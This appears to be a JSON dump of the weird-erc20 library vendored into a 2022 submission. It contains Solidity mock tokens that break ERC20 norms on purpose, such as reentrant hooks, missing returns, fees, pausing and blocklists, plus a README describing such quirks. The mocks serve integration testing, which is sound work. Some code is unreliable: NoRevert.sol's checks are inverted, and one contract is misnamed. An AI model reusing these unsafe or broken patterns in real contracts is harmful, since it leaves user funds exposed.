tokens by transfering them to `address(0)`.\n\n*example*: [RevertToZero.sol](./src/RevertToZero.sol)\n\n## No Revert on Failure\n\nSome tokens do not revert on failure, but instead return `false` (e.g.\n[ZRX](https://etherscan.io/address/0xe41d2489571d322189246dafa5ebde1f4699f498#code)).\n\nWhile this is technicaly compliant with the ERC20 standard, it goes against common solidity coding\npractices and may be overlooked by developers who forget to wrap their calls to `transfer` in a\n`require`.\n\n*example*: [NoRevert.sol](./src/NoRevert.sol)\n\n## Revert on Large Approvals & Transfers\n\nSome tokens (e.g. `UNI`, `COMP`) revert if the value passed to `approve` or `transfer` is larger than `uint96`.\n\nBoth of the above tokens have special case logic in `approve` that sets `allowance` to `type(uint96).max`\nif the approval amount is `uint256(-1)`, which may cause issues with systems that expect the value\npassed to `approve` to be reflected in the `allowances` mapping.\n\n*example*: [Uint96.sol](./src/Uint96.sol)\n\n## Code Injection Via Token Name\n\nSome malicious tokens have been observed to include malicious javascript in their `name` attribute,\nallowing attackers to extract private keys from users who choose to interact with these tokens via\nvulnerable frontends.\n\nThis has been used to exploit etherdelta users in the wild ([reference](https://hackernoon.com/how-one-hacker-stole-thousands-of-dollars-worth-of-cryptocurrency-with-a-classic-code-injection-a3aba5d2bff0)).\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/shell.nix",
    "content": "let\n  sources = import ./nix/sources.nix;\n  pkgs = import sources.dapptools {};\nin\n  pkgs.mkShell {\n    buildInputs = with pkgs; [\n      dapp\n      niv\n      solc-static-versions.solc_0_6_12\n      solc-static-versions.solc_0_7_6\n      solc-static-versions.solc_0_8_6\n    ];\n  }\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Approval.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ApprovalRaceToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function approve(address usr, uint wad) override public returns (bool) {\n        require(allowance[msg.sender][usr] == 0, \"unsafe-approve\");\n        return super.approve(usr, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/ApprovalToZero.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ApprovalToZeroToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function approve(address usr, uint wad) override public returns (bool) {\n        require(usr != address(0), \"no approval for the zero address\");\n        return super.approve(usr, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/BlockList.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract BlockableToken is ERC20 {\n    // --- Access Control ---\n    address owner;\n    modifier auth() { require(msg.sender == owner, \"unauthorised\"); _; }\n\n    // --- BlockList ---\n    mapping(address => bool) blocked;\n    function block(address usr) auth public { blocked[usr] = true; }\n    function allow(address usr) auth public { blocked[usr] = false; }\n\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        owner = msg.sender;\n    }\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(!blocked[src], \"blocked\");\n        require(!blocked[dst], \"blocked\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Bytes32Metadata.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n}\n\ncontract ERC20 is Math {\n    // --- ERC20 Data ---\n    bytes32 public constant name = \"Token\";\n    bytes32 public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/ERC20.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n}\n\ncontract ERC20 is Math {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/HighDecimals.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract HighDecimalToken is ERC20 {\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        decimals = 50;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/LowDecimals.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract LowDecimalToken is ERC20 {\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        decimals = 2;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/MissingReturns.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract MissingReturnToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) external {\n        transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) public {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n    }\n    function approve(address usr, uint wad) external {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/NoRevert.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract NoRevertToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) external returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        if (balanceOf[src] >= wad) return false;                       // insufficient src bal\n        if (balanceOf[dst] >= (type(uint256).max - wad)) return false; // dst bal too high\n\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            if (allowance[src][msg.sender] >= wad) return false;       // insufficient allowance\n            allowance[src][msg.sender] = allowance[src][msg.sender] - wad;\n        }\n\n        balanceOf[src] = balanceOf[src] - wad;\n        balanceOf[dst] = balanceOf[dst] + wad;\n\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual external returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Pausable.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract PausableToken is ERC20 {\n    // --- Access Control ---\n    address owner;\n    modifier auth() { require(msg.sender == owner, \"unauthorised\"); _; }\n\n    // --- Pause ---\n    bool live = true;\n    function stop() auth external { live = false; }\n    function start() auth external { live = true; }\n\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        owner = msg.sender;\n    }\n\n    // --- Token ---\n    function approve(address usr, uint wad) override public returns (bool) {\n        require(live, \"paused\");\n        return super.approve(usr, wad);\n    }\n    function transfer(address dst, uint wad) override public returns (bool) {\n        require(live, \"paused\");\n        return super.transfer(dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(live, \"paused\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Proxied.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\n/*\n    Provides two contracts:\n\n    1. ProxiedToken: The underlying token, state modifications must be made through a proxy\n    2. TokenProxy: Proxy contract, appends the original msg.sender to any calldata provided by the user\n\n    The ProxiedToken can have many trusted frontends (TokenProxy's).\n    The frontends should append the address of their caller to calldata when calling into the backend.\n    Admin users of the ProxiedToken can add new delegators.\n*/\n\ncontract ProxiedToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        admin[msg.sender] = true;\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Access Control ---\n    mapping(address => bool) public admin;\n    function rely(address usr) external auth { admin[usr] = true; }\n    function deny(address usr) external auth { admin[usr] = false; }\n    modifier auth() { require(admin[msg.sender], \"non-admin-call\"); _; }\n\n    mapping(address => bool) public delegators;\n    modifier delegated() { require(delegators[msg.sender], \"non-delegator-call\"); _; }\n    function setDelegator(address delegator, bool status) external auth {\n        delegators[delegator] = status;\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) delegated external returns (bool) {\n        return _transferFrom(_getCaller(), _getCaller(), dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) delegated external returns (bool) {\n        return _transferFrom(_getCaller(), src, dst, wad);\n    }\n    function approve(address usr, uint wad) delegated external returns (bool) {\n        return _approve(_getCaller(), usr, wad);\n    }\n\n    // --- Internals ---\n    function _transferFrom(\n        address caller, address src, address dst, uint wad\n    ) internal returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != caller && allowance[src][caller] != type(uint).max) {\n            require(allowance[src][caller] >= wad, \"insufficient-allowance\");\n            allowance[src][caller] = sub(allowance[src][caller], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function _approve(address caller, address usr, uint wad) internal returns (bool) {\n        allowance[caller][usr] = wad;\n        emit Approval(caller, usr, wad);\n        return true;\n    }\n    // grabs the first word after the calldata and masks it with 20bytes of 1's\n    // to turn it into an address\n    function _getCaller() internal pure returns (address result) {\n        bytes memory array = msg.data;\n        uint256 index = msg.data.length;\n        assembly {\n            result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)\n        }\n        return result;\n    }\n}\n\ncontract TokenProxy {\n    address payable immutable public impl;\n    constructor(address _impl) public {\n        impl = payable(_impl);\n    }\n\n    receive() external payable { revert(\"don't send me ETH!\"); }\n\n    fallback() external payable {\n        address _impl = impl; // pull impl onto the stack\n        assembly {\n            // get free data pointer\n            let ptr := mload(0x40)\n\n            // write calldata to ptr\n            calldatacopy(ptr, 0, calldatasize())\n            // store msg.sender after the calldata\n            mstore(add(ptr, calldatasize()), caller())\n\n            // call impl with the contents of ptr as caldata\n            let result := call(gas(), _impl, callvalue(), ptr, add(calldatasize(), 32), 0, 0)\n\n            // copy the returndata to ptr\n            let size := returndatasize()\n            returndatacopy(ptr, 0, size)\n\n            switch result\n            // revert if the call failed\n            case 0 { revert(ptr, size) }\n            // return ptr otherwise\n            default { return(ptr, size) }\n        }\n    }\n\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Reentrant.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ReentrantToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Call Targets ---\n    mapping (address => Target) public targets;\n    struct Target {\n        bytes   data;\n        address addr;\n    }\n    function setTarget(address addr, bytes calldata data) external {\n        targets[msg.sender] = Target(data, addr);\n    }\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool res) {\n        res = super.transferFrom(src, dst, wad);\n        Target memory target = targets[src];\n        if (target.addr != address(0)) {\n            (bool status,) = target.addr.call{gas: gasleft()}(target.data);\n            require(status, \"call failed\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/ReturnsFalse.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract ReturnsFalseToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) external returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return false;\n    }\n    function approve(address usr, uint wad) external returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return false;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/RevertToZero.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ReentrantToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(dst != address(0), \"transfer-to-zero\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/RevertZero.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract RevertZeroToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(wad != 0, \"zero-value-transfer\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/TransferFee.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract TransferFeeToken is ERC20 {\n\n    uint immutable fee;\n\n    // --- Init ---\n    constructor(uint _totalSupply, uint _fee) ERC20(_totalSupply) public {\n        fee = _fee;\n    }\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));\n        balanceOf[address(0)] = add(balanceOf[address(0)], fee);\n\n        emit Transfer(src, dst, sub(wad, fee));\n        emit Transfer(src, address(0), fee);\n\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/TransferFromSelf.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n}\n\ncontract TransferFromSelfToken is Math {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        _transfer(msg.sender, dst, wad);\n        return true;\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        if (allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        _transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n\n    // --- Internal ---\n    function _transfer(address src, address dst, uint wad) private {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Uint96.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract ERC20 {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public decimals = 18;\n    uint96  internal supply;\n\n    mapping (address => uint96)                      internal balances;\n    mapping (address => mapping (address => uint96)) internal allowances;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint96 x, uint96 y) internal pure returns (uint96 z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint96 x, uint96 y) internal pure returns (uint96 z) {\n        require((z = x - y) <= x);\n    }\n    function safe96(uint256 n) internal pure returns (uint96) {\n        require(n < 2**96);\n        return uint96(n);\n    }\n\n    // --- Init ---\n    constructor(uint96 _supply) public {\n        supply = _supply;\n        balances[msg.sender] = _supply;\n        emit Transfer(address(0), msg.sender, _supply);\n    }\n\n    // --- Getters ---\n    function totalSupply() external view returns (uint) {\n        return supply;\n    }\n    function balanceOf(address usr) external view returns (uint) {\n        return balances[usr];\n    }\n    function allowance(address src, address dst) external view returns (uint) {\n        return allowances[src][dst];\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        uint96 amt = safe96(wad);\n\n        if (src != msg.sender && allowances[src][msg.sender] != type(uint96).max) {\n            allowances[src][msg.sender] = sub(allowances[src][msg.sender], amt);\n        }\n\n        balances[src] = sub(balances[src], amt);\n        balances[dst] = add(balances[dst], amt);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        uint96 amt;\n        if (wad == type(uint).max) {\n            amt = type(uint96).max;\n        } else {\n            amt = safe96(wad);\n        }\n\n        allowances[msg.sender][usr] = amt;\n\n        emit Approval(msg.sender, usr, amt);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Upgradable.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract Proxy {\n    bytes32 constant ADMIN_KEY = bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1);\n    bytes32 constant IMPLEMENTATION_KEY = bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1);\n\n    // --- init ---\n\n    constructor(uint totalSupply) public {\n        give(msg.sender);\n        upgrade(address(new ERC20(totalSupply)));\n    }\n\n    // --- auth ---\n\n    modifier auth() { require(msg.sender == owner(), \"unauthorised\"); _; }\n\n    function owner() public view returns (address usr) {\n        bytes32 slot = ADMIN_KEY;\n        assembly { usr := sload(slot) }\n    }\n\n    function give(address usr) public auth {\n        bytes32 slot = ADMIN_KEY;\n        assembly { sstore(slot, usr) }\n    }\n\n    // --- upgrade ---\n\n    function implementation() public view returns (address impl) {\n        bytes32 slot = IMPLEMENTATION_KEY;\n        assembly { impl := sload(slot) }\n    }\n\n    function upgrade(address impl) public auth {\n        bytes32 slot = IMPLEMENTATION_KEY;\n        assembly { sstore(slot, impl) }\n    }\n\n    // --- proxy ---\n\n    fallback() external payable {\n        address impl = implementation();\n        (bool success, bytes memory returndata) = impl.delegatecall{gas: gasleft()}(msg.data);\n        require(success);\n        assembly { return(add(returndata, 0x20), mload(returndata)) }\n    }\n\n    receive() external payable { revert(\"don't send me ETH!\"); }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/test.t.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {DSTest} from \"ds-test/test.sol\";\nimport {ProxiedToken, TokenProxy} from \"./Proxied.sol\";\n\ninterface ERC20 {\n    function totalSupply() external view returns (uint256);\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address recipient, uint256 amount) external returns (bool);\n    function allowance(address owner, address spender) external view returns (uint256);\n    function approve(address spender, uint256 amount) external returns (bool);\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ncontract User {\n    ERC20 token;\n    constructor(ERC20 _token) public {\n        token = _token;\n    }\n\n    function transfer(address dst, uint amt) external returns (bool) {\n        return token.transfer(dst, amt);\n    }\n\n    function transferFrom(address src, address dst, uint amt) external returns (bool) {\n        return token.transferFrom(src, dst, amt);\n    }\n\n    function approve(address usr, uint amt) external returns (bool) {\n        return token.approve(usr, amt);\n    }\n}\n\ncontract TestProxy is DSTest {\n    ProxiedToken underlying;\n    ERC20 proxy1;\n    ERC20 proxy2;\n    User user1;\n    User user2;\n\n    function setUp() public {\n        underlying = new ProxiedToken(type(uint256).max);\n\n        proxy1 = ERC20(address(new TokenProxy(address(underlying))));\n        proxy2 = ERC20(address(new TokenProxy(address(underlying))));\n\n        